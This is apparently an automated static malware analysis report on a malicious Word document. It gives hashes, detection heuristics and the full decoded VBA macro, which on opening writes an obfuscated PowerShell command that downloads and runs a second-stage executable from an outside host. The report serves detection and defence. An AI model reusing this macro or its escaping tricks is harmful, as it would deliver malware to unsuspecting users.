Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 0b402031b8fe72ed…

MALICIOUS

Office (OLE) / .DOC

55.0 KB Created: 2021-10-13 18:46:00 Authoring application: Microsoft Office Word First seen: 2021-10-26
MD5: 8a29b9010eae426089e59eab57bcd1de SHA-1: 96b75aafab14b177b758d5735f84881f43698c6e SHA-256: 0b402031b8fe72ed0557559cc41a4b36cbdcdc55dcc015e966aabdb4af8a2fd6
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro within the document is designed to execute upon opening. It constructs a PowerShell command that utilizes Start-BitsTransfer to download a second-stage executable from 'https://secure01wa.2waky.com/a/eApp2.exe' and saves it as 'C:\Users\Public\Documents\thehigh.exe'. The macro then attempts to execute this downloaded file.

Heuristics 7

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Document_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    obh = CreateObject(sheee & "l.application").Open(womanmessage)
  • Payload URL assembled from a Chr()/Asc() string expression (1 URL) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://secure01wa.2waky.com/a/eApp2.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 871 bytes
SHA-256: 9b6e682fbd25c1c9c1333e2058df08aad054b1dbe1eaf33461b3d70543419a3a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
scienceshe = "pow^ers"
Congressoperation = "he^ll"
unitland = FreeFile
womanmessage = "C:\Users\Public\Documents\enjoyskin.cm" & Chr(CLng(97.5) + CLng(1.6))
Open womanmessage For Output As #unitland
Print #unitland, scienceshe & Congressoperation & " -w hi slee^p -Se 31;Sta^rt-BitsTrans^fer -Source htt`ps://secure01wa.2waky.com/a/eApp2.e`xe" & " -Destination C:\Users\Public\Documents\thehigh.e`xe" & ";C:\Users\Public\Documents\thehigh.e`xe"
Close unitland
sheee = "shel"
obh = CreateObject(sheee & "l.application").Open(womanmessage)
End Sub